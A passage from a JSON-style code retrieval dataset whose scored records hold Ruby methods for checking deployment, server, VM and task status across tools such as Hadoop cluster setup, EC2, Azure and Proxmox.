"text": "def getDeployStatus()\n r_hold = [[\"jobs\", -1]]\n r_notask = [[\"jobs\", 0]]\n r_error = [[\"jobs\",-2]]\n\n if not FileTest::exists?(DEPLOY_LCK)\n return r_notask\n end\n\n lckself = File.new DEPLOY_LCK\n if lckself.flock File::LOCK_EX | File::LOCK_NB\n lckself.flock File::LOCK_UN\n return r_notask\n else\n task_id = File.readlines(DEPLOY_LCK)[0].strip\n result_list = getDeployTaskStatus(task_id)\n return result_list\n end\n end",
"title": ""
},
{
"docid": "afdf94fef8a8991ad594cfc2517e5295",
"score": "0.6130742",
"text": "def info_status\n call_path = \"info/status\"\n request = \"\"\n data = build_post_data(request)\n perform_post(build_url(call_path), data)\n end",
"title": ""
},
{
"docid": "e968aa24306988407b5f3859df94c87b",
"score": "0.6122632",
"text": "def deploy_message\n last_commit.message\n end",
"title": ""
},
{
"docid": "22b3fc874e2c3c5a6491daadfce68335",
"score": "0.6108478",
"text": "def status\n exec_cmd('STATUS')\n @message\n end",
"title": ""
},
{
"docid": "ec87a2d7e3feb4a3d7792fd5841db4d7",
"score": "0.61052215",
"text": "def status\n $stdout.puts \"The current status of the pow server is:\\n\\n\"\n result = %x{curl localhost/status.json --silent --header host:pow}\n json = JSON.parse(result)\n json.each_pair { |k,v| $stdout.puts \" #{k}: #{v}\" }\n $stdout.puts \"\\n\"\n end",
"title": ""
},
{
"docid": "c1d6df2e2442df147dc6c8abd41ac99f",
"score": "0.6080443",
"text": "def show_status\n puts \"You want '#{@target_gem}' at version #{@target_version}. Currently it's at:\"\n @repos.each do |repo|\n puts \"%s : %s\" % [repo.version(@target_gem), repo.path]\n end\n end",
"title": ""
},
{
"docid": "727da133b303b16a971457db7af49ce3",
"score": "0.6076457",
"text": "def status\n dist_service( 'iyyov', 'status' )\n end",
"title": ""
},
{
"docid": "bc69e2e7899ff08354d1900a61063d89",
"score": "0.60382056",
"text": "def status\n return 'offline' if offline?\n success? ? 'converged' : 'failing'\n end",
"title": ""
},
{
"docid": "dc41a49cb3497d778ab721410a5b8e2b",
"score": "0.60203403",
"text": "def server_status\n nessus_rest_get('server/status')\n end",
"title": ""
},
{
"docid": "19d03336df22242e1a58d81b99eb14e0",
"score": "0.6019403",
"text": "def status\n case real_stat\n when :up\n \"Service up\"\n when :just_down\n \"Service down\"\n when :down\n \"Service down\"\n when :unmonitored\n \"No process registered for monitoring\"\n end\n end",
"title": ""
},
{
"docid": "462fc1901b5a21f7150b165bbf76a034",
"score": "0.6008503",
"text": "def server_info(deployment_name, deployment_config)\n {\n hostname: (deployment_config['host'] || deployment_name),\n deployment_path: deployment_config['deployment_path'],\n login_user: (deployment_config['username'] || 'deploy'),\n port: (deployment_config['port'] || '22')\n }\n end",
"title": ""
},
{
"docid": "eb282a1d86ce17d14de4beeda265ad25",
"score": "0.6000757",
"text": "def deployment_info(config)\n # TODO [Feature] add support for returning state of the cluster\n # check for files in DATA_DIR if does not exists, we can assume user\n # hasn't deployed a cluster yet\n check_if_deployment_exists\n # unless File.directory?(DATA_DIR) && Util::YamlUtils.parse_yaml(NODES_FILE).is_a?(Hash)\n # @logger.error 'No cluster details found, to deploy a cluster use' +\n # ' `ankus deploy`'\n # abort\n # end\n hiera_data = Util::YamlUtils.parse_yaml(HIERA_DATA_FILE)\n cloud = create_cloud_obj(config) if config[:install_mode] == 'cloud'\n hbase_deploy = if config[:hbase_deploy] == 'disabled'\n 'disabled'\n else\n 'enabled'\n end\n mapreduce = if(config[:hadoop_deploy] != 'disabled' and\n config[:hadoop_deploy][:mapreduce] != 'disabled')\n config[:hadoop_deploy][:mapreduce][:type]\n else\n 'disabled'\n end\n cassandra_deploy = config[:cassandra_deploy] != 'disabled' ?\n 'enabled' : 'disabled'\n storm_deploy = config[:storm_deploy] != 'disabled' ?\n 'enabled' : 'disabled'\n kafka_deploy = config[:kafka_deploy] != 'disabled' ?\n 'enabled' : 'disabled'\n solr_deploy = config[:solr_deploy] != 'disabled' ?\n 'enabled' : 'disabled'\n\n (cluster_info ||= '') <<\n 'Ankus Cluster Info'.yellow_on_cyan.bold.underline << \"\\n\"\n if config[:hadoop_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' #'.green << ' Hadoop HA Configuration:' +\n \" #{config[:hadoop_deploy][:ha]} \\n\"\n cluster_info << \"\\r\" << ' #'.green <<\n \" MapReduce Framework: #{mapreduce} \\n\"\n else\n cluster_info << \"\\r\" << ' #'.green << \" Hadoop Deploy: disabled \\n\"\n end\n cluster_info << \"\\r\" << ' #'.green << \" HBase Deploy: #{hbase_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green <<\n \" Cassandra Deploy: #{cassandra_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Storm Deploy: #{storm_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Kafka Deploy: #{kafka_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Solr Deploy: #{solr_deploy} \\n\"\n cluster_info << \"\\r\" << ' #'.green << \" Security: #{config[:security]} \\n\"\n cluster_info << \"\\r\" << ' #'.green <<\n \" Monitoring(with ganglia): #{config[:monitoring]} \\n\"\n cluster_info << \"\\r\" << ' #'.green <<\n \" Altering(with nagios): #{config[:alerting]} \\n\"\n cluster_info << \"\\r\" << ' #'.green <<\n \" Log Aggregation(with Logstash): #{config[:log_aggregation]} \\n\"\n\n (urls ||= '') << 'Access URL(s)'.bold.underline << \"\\n\"\n\n cluster_info << \"\\n\"\n cluster_info << \"\\r\" << 'Nodes in the cluster'.bold.underline << \"\\n\"\n\n if config[:install_mode] == 'cloud'\n #cloud deployment mode\n cloud_instances = Util::YamlUtils.parse_yaml(NODES_FILE)\n\n # controller, nagios, ganglia and logstash\n controller = find_fqdn_for_tag(cloud_instances, 'controller').first\n cluster_info << \"\\r\" << ' *'.cyan << \" Controller: #{controller} \\n\"\n if config[:monitoring] == 'enabled'\n urls << \"\\r\" << ' %'.black <<\n \" Ganglia: http://#{controller}/ganglia \\n\"\n end\n if config[:cloud_os_type].downcase == 'centos'\n if config[:alerting] == 'enabled'\n urls << \"\\r\" << ' %'.black <<\n \" Nagios: http://#{controller}/nagios \\n\"\n end\n elsif config[:cloud_os_type].downcase == 'ubuntu'\n if config[:alerting] == 'enabled'\n urls << \"\\r\" << ' %'.black <<\n \" Nagios: http://#{controller}/nagios3 \\n\"\n end\n end\n if config[:log_aggregation] == 'enabled'\n urls << \"\\r\" << ' %'.black <<\n \" LogStash: http://#{controller}:5601 \\n\"\n end\n\n if config[:hadoop_deploy] != 'disabled'\n if config[:hadoop_deploy][:hadoop_ha] == 'enabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Namenode(s): \\n\"\n nns = find_fqdn_for_tag(cloud_instances, 'namenode')\n nns.each do |k, v|\n cluster_info << \"\\r\" << \"\\t #{k.capitalize}: #{v.first} \\n\"\n urls << \"\\r\" << ' %'.black <<\n \" #{k.capitalize}: http://#{v.first}:50070 \\n\"\n end\n else\n namenode = cloud.find_fqdn_for_tag(\n cloud_instances,\n 'namenode').first\n snn = find_fqdn_for_tag(cloud_instances, 'secondarynamenode').first\n cluster_info << \"\\r\" << ' *'.cyan << \" Namenode: #{namenode}\\n\"\n cluster_info << \"\\r\" << ' *'.cyan << \" Secondary NN: #{snn}\\n\"\n urls << \"\\r\" << ' %'.black <<\n \" Namenode: http://#{namenode}:50070 \\n\"\n end\n if config[:hadoop_deploy][:mapreduce] != 'disabled'\n jt = find_fqdn_for_tag(cloud_instances, 'jobtracker').first\n if mapreduce == 'mr1'\n cluster_info << \"\\r\" << ' *'.cyan << \" MapReduce Master: #{jt} \\n\"\n urls << \"\\r\" << ' %'.black <<\n \" MapReduce Master: http://#{jt}:50030 \\n\"\n else\n cluster_info << \"\\r\" << ' *'.cyan <<\n \" Resource Manager: #{jt} \\n\"\n urls << \"\\r\" << ' %'.black <<\n \" Resource Manager: http://#{jt}:8088 \\n\"\n urls << \"\\r\" << ' %'.black <<\n \" Job History Server: http://#{jt}:19888 \\n\"\n end\n #hadoop_ecosystem\n if(config[:hadoop_deploy][:ecosystem] and\n config[:hadoop_deploy][:ecosystem].include?('oozie'))\n urls << \"\\r\" << ' %'.black <<\n \" Oozie Console: http://#{jt}:11000/oozie \\n\"\n end\n if(config[:hadoop_deploy][:ecosystem] and\n config[:hadoop_deploy][:ecosystem].include?('hue'))\n urls << \"\\r\" << ' %'.black << \" Hue Console: http://#{jt}:8888 \\n\"\n end\n end\n if(config[:hadoop_deploy][:hadoop_ha] == 'enabled' or\n config[:hbase_deploy] != 'disabled')\n if config[:hadoop_deploy][:hadoop_ha] == 'enabled'\n cluster_info << \"\\r\" << ' *'.cyan <<\n \" Journal Quorum & ZooKeeper Quoram: \\n\"\n else\n cluster_info << \"\\r\" << ' *'.cyan << \" ZooKeeper Quoram: \\n\"\n end\n zks = find_fqdn_for_tag(cloud_instances, 'zookeeper')\n zks.each do |k, v|\n cluster_info << \"\\r\" << \"\\t #{k.capitalize}: #{v.first} \\n\"\n end\n end\n end\n if config[:hbase_deploy] != 'disabled'\n hms = find_fqdn_for_tag(cloud_instances, 'hbasemaster')\n hms.each do |k, v|\n cluster_info << \"\\r\" << ' *'.cyan <<\n \" #{k.capitalize}: #{v.first} \\n\"\n end\n hm1 = Hash[hms.select do |k,v|\n k.include? 'hbasemaster1'\n end\n ].values.flatten.first\n urls << \"\\r\" << ' %'.black << \" HBaseMaster: http://#{hm1}:60010 \\n\"\n end\n if storm_deploy != 'disabled'\n stn = find_fqdn_for_tag(cloud_instances, 'stormnimbus').first\n cluster_info << \"\\r\" << ' *'.cyan << \" Storm Master: #{stn} \\n\"\n urls << \"\\r\" << ' %'.black << \" Storm UI: http://#{stn}:8080 \\n\"\n end\n if config[:solr_deploy] != 'disabled'\n solr_nodes = find_fqdn_for_tag(cloud_instances, 'solr')\n urls << \"\\r\" << ' %'.black <<\n \" Solr Admin: http://#{solr_nodes.sample}:8983/solr \\n\"\n end\n if options[:extended]\n if(config[:hadoop_deploy] != 'disabled' or\n config[:hbase_deploy] != 'disabled')\n cluster_info << \"\\r\" << ' *'.cyan << \" Slaves: \\n\"\n find_fqdn_for_tag(\n cloud_instances,\n 'slaves').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan <<\n \"slave#{i+1}: #{k}\" << \"\\n\"\n end\n end\n if cassandra_deploy != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Cassandra Nodes: \\n\"\n find_fqdn_for_tag(\n cloud_instances,\n 'cassandra').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan <<\n \"cassandra#{i+1}: #{k}\" << \"\\n\"\n end\n end\n if storm_deploy != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Storm Supervisor Nodes: \\n\"\n find_fqdn_for_tag(\n cloud_instances,\n 'stormworker').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << \"- \".cyan <<\n \"stormworker#{i+1}: #{k}\" << \"\\n\"\n end\n end\n if kafka_deploy != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Kafka Nodes: \\n\"\n find_fqdn_for_tag(\n cloud_instances,\n 'kafka').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << \"- \".cyan <<\n \"kafka#{i+1}: #{k}\" << \"\\n\"\n end\n end\n if solr_deploy != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Solr Nodes: \\n\"\n find_fqdn_for_tag(\n cloud_instances,\n 'solr').each_with_index do |k, i|\n cluster_info << \"\\r\" << \"\\t\" << \"- \".cyan <<\n \"solr#{i+1}: #{k}\" << \"\\n\"\n end\n end\n end\n else\n #local deployment mode\n cluster_info << \"\\r\" << ' *'.cyan <<\n \" Controller: #{config[:controller]}\\n\"\n if config[:monitoring] == 'enabled'\n urls << \"\\r\" << ' %'.black <<\n \" Ganglia: http://#{config[:controller]}/ganglia \\n\"\n end\n if config[:alerting] == 'enabled'\n if hiera_data['nagios_server_ostype'].downcase == 'centos'\n urls << \"\\r\" << ' %'.black <<\n \" Nagios: http://#{config[:controller]}/nagios \\n\"\n elsif hiera_data['nagios_server_ostype'].downcase == 'ubuntu'\n urls << \"\\r\" << ' %'.black <<\n \" Nagios: http://#{config[:controller]}/nagios3 \\n\"\n end\n end\n if config[:log_aggregation] == 'enabled'\n urls << \"\\r\" << ' %'.black <<\n \" LogStash: http://#{config[:controller]}:5601 \\n\"\n end\n\n if config[:hadoop_deploy] != 'disabled'\n if config[:hadoop_deploy][:ha] == 'enabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Namenode(s): \\n\"\n nn1 = config[:hadoop_deploy][:namenode].first\n nn2 = config[:hadoop_deploy][:namenode].last\n cluster_info << \"\\r\" << \"\\t - Active Namenode: #{nn1} \\n\"\n cluster_info << \"\\r\" << \"\\t - Standby Namenode: #{nn2} \\n\"\n urls << \"\\r\" << ' %'.black <<\n \" Active Namenode: http://#{nn1}:50070 \\n\"\n urls << \"\\r\" << ' %'.black <<\n \" Standby Namenode: http://#{nn2}:50070 \\n\"\n cluster_info << \"\\r\" << ' *'.cyan << \" Journal Quorum: \\n\"\n config[:hadoop_deploy][:journal_quorum].each do |jn|\n cluster_info << \"\\r\" << \"\\t - #{jn}\\n\"\n end\n else\n cluster_info << \"\\r\" << ' *'.cyan <<\n \" Namenode: #{config[:hadoop_deploy][:namenode].first}\\n\"\n cluster_info << \"\\r\" << ' *'.cyan <<\n \" Secondary Namenode: \" +\n \"#{config[:hadoop_deploy][:secondarynamenode]}\\n\"\n urls << \"\\r\" << ' %'.black <<\n \" Namenode: \" +\n \" http://#{config[:hadoop_deploy][:namenode].first}:50070 \\n\"\n end\n if(config[:hadoop_deploy][:ha] == 'enabled' and\n config[:hbase_deploy] != 'disabled')\n cluster_info << \"\\r\" << ' *'.cyan << \" Zookeeper Quorum: \\n\"\n config[:zookeeper_quorum].each do |zk|\n cluster_info << \"\\r\"<< \"\\t - #{zk} \\n\"\n end\n end\n if config[:hadoop_deploy][:mapreduce] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan <<\n \" MapReduce Master: \" +\n \"#{config[:hadoop_deploy][:mapreduce][:master]} \\n\"\n end\n end\n if config[:hbase_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan <<\n \" Hbase Master: \" +\n \"#{config[:hbase_deploy][:hbase_master].join(',')} \\n\"\n urls << \"\\r\" << ' %'.black <<\n \" Hbase Master: \" +\n \"http://#{config[:hbase_deploy][:hbase_master].first}:60010 \\n\"\n end\n if config[:storm_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Storm Master: \" +\n \"#{config[:storm_deploy][:storm_master]} \\n\"\n urls << \"\\r\" << ' %'.black << \" Hbase Master: \" +\n \"http://#{config[:storm_deploy][:storm_master]}:8080 \\n\"\n end\n if config[:solr_deploy] != 'disabled'\n urls << \"\\r\" << ' %'.black << \"Solr Admin: \" +\n \"http://#{config[:solr_deploy][:solr_nodes].sample}:8983/solr \\n\"\n end\n if options[:extended]\n if(config[:hadoop_deploy] != 'disabled' or\n config[:hbase_deploy] != 'disabled')\n cluster_info << \"\\r\" << ' *'.cyan << \" Slaves: \\n\"\n config[:slave_nodes].each do |slave|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << slave << \"\\n\"\n end\n end\n if config[:cassandra_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Cassandra Node(s): \\n\"\n config[:cassandra_deploy][:cassandra_nodes].each do |cn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n end\n cluster_info << \"\\r\" << ' *'.cyan << \" Cassandra Seed Node(s): \\n\"\n config[:cassandra_deploy][:cassandra_seeds].each do |cn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n end\n end\n if config[:storm_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Storm Supervisors: \\n\"\n config[:storm_deploy][:storm_supervisors].each do |cn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n end\n urls << \"\\r\" << ' %'.black << \" Storm Master: \" +\n \"http://#{config[:storm_deploy][:storm_master]}:8080\"\n end\n if config[:kafka_deploy] != 'disabled'\n cluster_info << \"\\r\" << ' *'.cyan << \" Kafka Brokers: \\n\"\n config[:kafka_deploy][:kafka_brokers].each do |cn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n end\n # cluster_info << \"\\r\" << ' *'.cyan << \" Kafka Node(s): \\n\"\n # config[:kafka_deploy][:kafka_nodes].each do |cn|\n # cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << cn << \"\\n\"\n # end\n end\n if config[:solr_deploy] != 'disabled'\n config[:solr_deploy][:solr_nodes].each do |sn|\n cluster_info << \"\\r\" << \"\\t\" << '- '.cyan << sn << \"\\n\"\n end\n end\n end\n end\n cluster_info << \"\\n\"\n (login_info ||= '') << \"\\r\" << 'Login Information'.underline << \"\\n\"\n login_info << \"\\r\" << ' *'.cyan <<\n \" ssh into nodes using: ankus ssh --role <role> \\n\" <<\n \"\\r\\t Ex: ankus ssh --role controller\\n\"\n if config[:install_mode] == 'cloud'\n if config[:cloud_platform] == 'aws'\n username = if config[:cloud_os_type].downcase == 'centos'\n 'root'\n else\n 'ubuntu'\n end\n login_info << \"\\r\" << \" (or) using \" +\n \"`ssh -i ~/.ssh/#{config[:cloud_credentials][:aws_key]}\" +\n \" #{username}@[host]`\\n\"\n elsif config[:cloud_platform] == 'rackspace'\n login_info << \"\\r\" << \" (or) using \" +\n \"`ssh -i #{config[:cloud_credentials][:rackspace_ssh_key]} \" +\n \"root@[host]`\\n\"\n end\n else\n username = config[:ssh_user]\n login_info << \"\\r\" <<\n \" (or) using `ssh -i #{config[:ssh_key]} #{username}@[host]`\\n\"\n end\n puts\n puts \"\\r#{cluster_info.squeeze(' ')}\"\n puts \"\\r#{urls.squeeze(' ')}\" if options[:extended]\n puts if options[:extended]\n puts \"\\r#{login_info.squeeze(' ')}\"\n puts\n end",
"title": ""
},
{
"docid": "c5d717190a6bd507a6a394a11a7b8082",
"score": "0.59927726",
"text": "def getDeployTaskStatus(task_id)\n\n Logger.info \"\\n#{LOG_SYMBOL*29} getDeployTaskStatus #{LOG_SYMBOL*28}\"\n\n thor_log_path = LOG_PATH + \"thor_\" + task_id + \".log\"\n log_lines = `wc -l #{thor_log_path}|awk '{print $1}' `.chomp.to_s\n\n if not FileTest::exists?(thor_log_path)\n Logger.fatal \"The thor log #{thor_log_path} not exist.\\n#{LOG_SYMBOL*27} getDeployTaskStatus END #{LOG_SYMBOL*26}\"\n return [[\"jobs\", -2, \"The thor log not exist.\"]]\n end\n\n begin\n info = _get_deploy_info_from_log(thor_log_path)\n result_list = _get_task_deploy_status_from_info(info)\n Logger.info \"result_list : #{result_list}\"\n rescue => e\n Logger.fatal \"Get #{task_id} task status fail. Exception : #{e}\"\n return [[\"jobs\", -2, \"Exception : #{e}\"]]\n end\n\n Logger.info \"Get #{task_id} task status succ. Log lines : #{log_lines}. Result : #{result_list} \\n#{LOG_SYMBOL*27} getDeployLog4Mod END #{LOG_SYMBOL*26}\"\n return result_list\n\n end",
"title": ""
},
{
"docid": "daa6de59c754ae6289bda6161b569c7f",
"score": "0.5987426",
"text": "def status\n # Memoize it so we don't have to fetch it again\n @status ||= client.status(repository, head.sha).state\n\n case @status\n when 'failure' then 'failing'\n when 'success' then 'passing'\n else 'pending'\n end\n rescue StandardError\n nil\n end",
"title": ""
},
{
"docid": "d0366bc252b680bfca4de4a6ed33f53e",
"score": "0.5987143",
"text": "def status\n res = Seaweed::HTTP.get \"#{@base_url}/cluster/status?pretty=y\"\n Seaweed::HTTP.parse res\n end",
"title": ""
},
{
"docid": "0a3f50564cc822c73a5487314508e76a",
"score": "0.5982368",
"text": "def wait_for_status\n if Chewy.configuration[:wait_for_status].present?\n client.cluster.health wait_for_status: Chewy.configuration[:wait_for_status]\n end\n end",
"title": ""
},
{
"docid": "0da5e9fe224ab6d5ca4845501d0a933f",
"score": "0.5974138",
"text": "def status\n {\n \"local_server_address\" => local_server_address,\n \"known_servers\" => servers.keys\n }\n end",
"title": ""
},
{
"docid": "125d9f14f5f99576af09ab7c182e7edb",
"score": "0.5948352",
"text": "def status\n @logger.info \"#{@name} Cloud status:\"\n node_statuses\n end",
"title": ""
},
{
"docid": "5fcaed7fabbc719052a3428027467a6f",
"score": "0.59476316",
"text": "def github_status\n get('status.json', {:endpoint => Octokit.status_api_endpoint})\n end",
"title": ""
},
{
"docid": "4898318d46fc1be4d637776fff3f071f",
"score": "0.594745",
"text": "def status\n JSON.parse(client.get(:path => base_path))\n end",
"title": ""
},
{
"docid": "bab01e4e07318909dfab44f39ccbaa0c",
"score": "0.59441906",
"text": "def summary(show_project: false)\n project_name = \" #{project&.name}\" if show_project\n deploy_details = \"#{short_reference} to#{project_name} #{stage&.name}\"\n if [\"cancelled\", \"cancelling\"].include?(status)\n canceller_name = job.canceller&.name || \"Samson\"\n \"#{canceller_name} #{summary_action} #{job.user.name}'s deploy#{deploy_buddy} of #{deploy_details}\"\n else\n \"#{job.user.name}#{deploy_buddy} #{summary_action} #{deploy_details}\"\n end\n end",
"title": ""
},
{
"docid": "49718a9ed92e4bf0d997bb0f55b4ddba",
"score": "0.594408",
"text": "def deployment_status(repo, deployment_id, status_id, options = {})\n get \"#{Repository.path repo}/deployments/#{deployment_id}/statuses/#{status_id}\", options\n end",
"title": ""
},
{
"docid": "dbfe4db51b4bdb585afa9d99ac1a5bf5",
"score": "0.5942804",
"text": "def status_command\n case current_host.operating_system\n when :linux\n 'status'\n when :freebsd\n 'onestatus'\n end\n end",
"title": ""
},
{
"docid": "65e7b97d013be078fe12fcb7d4b8b42a",
"score": "0.59384567",
"text": "def poll(id, host, deploy_id, not_used)\n\n info = \"#{POLL_ATTRIBUTE[:usedmemory]}=0 \" \\\n \"#{POLL_ATTRIBUTE[:usedcpu]}=0 \" \\\n \"#{POLL_ATTRIBUTE[:nettx]}=0 \" \\\n \"#{POLL_ATTRIBUTE[:netrx]}=0\"\n\n cmd = \"#{EC2[:describe]} #{deploy_id}\"\n exe = LocalCommand.run(cmd, log_method(id))\n\n if exe.code != 0\n send_message(ACTION[:poll],RESULT[:failure],id)\n return\n end\n\n exe.stdout.match(Regexp.new(\"INSTANCE\\\\s+#{deploy_id}\\\\s+(.+)\"))\n\n if !$1\n info << \" #{POLL_ATTRIBUTE[:state]}=#{VM_STATE[:deleted]}\"\n else\n monitor_data = $1.split(/\\s+/)\n\n case monitor_data[3]\n when \"pending\"\n info << \" #{POLL_ATTRIBUTE[:state]}=#{VM_STATE[:active]}\"\n when \"running\"\n info << \" #{POLL_ATTRIBUTE[:state]}=#{VM_STATE[:active]}\" \\\n \" IP=#{monitor_data[1]}\"\n when \"shutting-down\",\"terminated\"\n info << \" #{POLL_ATTRIBUTE[:state]}=#{VM_STATE[:deleted]}\"\n end\n end\n\n send_message(ACTION[:poll], RESULT[:success], id, info)\n end",
"title": ""
},
{
"docid": "b18ca449579c3f672ba2861fd3041b98",
"score": "0.592375",
"text": "def deploy\n return true if self.class.config.skip_deploy\n\n deployments = hosts.map(&method(:start_deploy))\n\n finished, failures = deployments.partition(&method(:wait_for_deploy))\n\n finished.each(&method(:report_success))\n\n successful = HTTP::Status.method(:successful?)\n\n failures.none? && finished.map(&:status).all?(&successful)\n end",
"title": ""
},
{
"docid": "f3ac506d49c9c3fee73f03fb1bd2ee16",
"score": "0.59170204",
"text": "def refresh_status\n changed = @servers.any? &:refresh\n [:completed, :deployed, :deploying, :failed, :pending].each do |status_name|\n check = (status_name.to_s + '?').to_sym\n @status = status_name.to_s if @servers.all? {|server_deploy| server_deploy.send(check)}\n end\n changed\n end",
"title": ""
},
{
"docid": "7c79180eb88dbf0f17218e18b95a9b5c",
"score": "0.5910414",
"text": "def server_info\n self['admin'].command({:buildinfo => 1})\n end",
"title": ""
},
{
"docid": "d6e1f3e76537927a44ee45e9c0edd58f",
"score": "0.5902681",
"text": "def server_info\n self[\"admin\"].command({:buildinfo => 1})\n end",
"title": ""
},
{
"docid": "b14bd1a98a77144787b114342194a09c",
"score": "0.58995503",
"text": "def status\n JSON.pretty_generate({ 'status' => output(varnishadm(\"status\"))}) \n end",
"title": ""
},
{
"docid": "b792cf3fd80636c12e4280f498fda974",
"score": "0.58808047",
"text": "def poll deploy_id\n\n vm = get_virtual_machine deploy_id\n rg_name = get_vm_rg_name vm\n instance = compute.mgmt.virtual_machines.get(\n rg_name, vm.name, expand:'instanceView'\n )\n\n cpu = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Percentage CPU', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.average != nil }.last\n cpu = cpu.nil? ? 0 : cpu.average\n\n memory = 768\n nettx = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Network In', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.total != nil }.last\n nettx = nettx.nil? ? 0 : nettx.total\n\n netrx = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Network Out', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.total != nil }.last\n netrx = netrx.nil? ? 0 : netrx.total\n\n disk_rbytes = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Disk Read Bytes', result_type: 'Data'\n ).value.first.timeseries.first.data.last.total.to_f\n disk_wbytes = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Disk Write Bytes', result_type: 'Data'\n ).value.first.timeseries.first.data.last.total.to_f\n disk_riops = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Disk Read Operations/Sec', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.average != nil }.last\n disk_riops = disk_riops.nil? ? 0.0 : disk_riops.average * 60\n\n disk_wiops = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Disk Write Operations/Sec', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.average != nil }.last\n disk_wiops = disk_wiops.nil? ? 0.0 : disk_wiops.average * 60\n\n\n info = \"#{AzureDriver::POLL_ATTRIBUTE[:cpu]}=#{(cpu * 10).round(2)} \" \\\n \"#{AzureDriver::POLL_ATTRIBUTE[:memory]}=#{(memory * 1024).round(2)} \" \\\n \"#{AzureDriver::POLL_ATTRIBUTE[:netrx]}=#{netrx.round(2)} \" \\\n \"#{AzureDriver::POLL_ATTRIBUTE[:nettx]}=#{nettx.round(2)} \" \\\n \"DISKRDBYTES=#{disk_rbytes.round(2)} \" \\\n \"DISKWRBYTES=#{disk_wbytes.round(2)} \" \\\n \"DISKRDIOPS=#{disk_riops.round(2)} \" \\\n \"DISKWRIOPS=#{disk_wiops.round(2)} \" \\\n \"RESOURCE_GROUP_NAME=#{rg_name.downcase} \" \\\n \"GUEST_IP_ADDRESSES=\\\\\\\"#{get_virtual_machine_ip(deploy_id).join(',')}\\\\\\\"\"\n \"MONITORING_TIME=#{Time.now.to_i}\"\n\n state = \"\"\n if !instance\n state = VM_STATE[:error]\n else\n state = case instance.instance_view.statuses.last.code.split('/').last\n when \"running\", \"starting\"\n AzureDriver::VM_STATE[:active]\n when \"stopped\", \"deallocated\"\n state = AzureDriver::VM_STATE[:deleted]\n else\n AzureDriver::VM_STATE[:unknown]\n end\n end\n\n\n info = \"#{AzureDriver::POLL_ATTRIBUTE[:state]}=#{state} \" + info\n\n return info, {\n :cpu => cpu, :memory => memory,\n :nettx => nettx, :netrx => netrx,\n :disk_rbytes => disk_rbytes, :disk_wbytes => disk_wbytes,\n :state => state }\n rescue => e\n # Unknown state if exception occurs retrieving information from\n # an instance\n \"#{AzureDriver::POLL_ATTRIBUTE[:state]}=#{AzureDriver::VM_STATE[:unknown]} POLL_ERROR=#{e.message}\"\n end",
"title": ""
},
{
"docid": "e4ef2861c5eb1b511080d6c9c309d72c",
"score": "0.5873935",
"text": "def task_status(pve_node, task)\n status_info = @proxmox.get(\"nodes/#{pve_node}/tasks/#{task}/status\")\n \"#{status_info['status']}#{status_info['exitstatus'] ? \":#{status_info['exitstatus']}\" : ''}\"\n end",
"title": ""
},
{
"docid": "a4497dbfe0b32f41d977e42e083128f8",
"score": "0.5872617",
"text": "def status\n @server.get_run_attribute(@uuid, @links[:status])\n end",
"title": ""
},
{
"docid": "b55a723d529780126d2d2149d5919857",
"score": "0.5872",
"text": "def status\n @builder.xml_package_data.at('Status').try(:content).to_s\n end",
"title": ""
},
{
"docid": "ca0a9edc0c25ec83eba5049e3c6789b4",
"score": "0.5865614",
"text": "def project_status(project)\n h project.human_readable_status\n end",
"title": ""
},
{
"docid": "aef2d8ee084a3bcb18c02df907df7dc8",
"score": "0.58646774",
"text": "def task_status(upid, node = @node)\n data = http_action_get \"nodes/#{node}/tasks/#{URI.encode upid}/status\"\n status = data['status']\n exitstatus = data['exitstatus']\n if exitstatus\n \"#{status}:#{exitstatus}\"\n else\n status.to_s\n end\n end",
"title": ""
},
{
"docid": "6d2cade7e435bee2e2e5d49ca3d8011a",
"score": "0.5859836",
"text": "def status\n response = get \"status\"\n msg response, Logger::DEBUG\n return response\n end",
"title": ""
},
{
"docid": "f1d54606654fed5ea0233199ef78cbd3",
"score": "0.58578175",
"text": "def status\n require 'open-uri'\n CortexReaver.reload_config\n response = open(\"http://#{CortexReaver.config[:host] || 'localhost'}:#{CortexReaver.config[:port]}/\")\n puts response.status.join(' ');\n end",
"title": ""
},
{
"docid": "dd32f342c3c8f4ac867c5c827b6f34e0",
"score": "0.5844546",
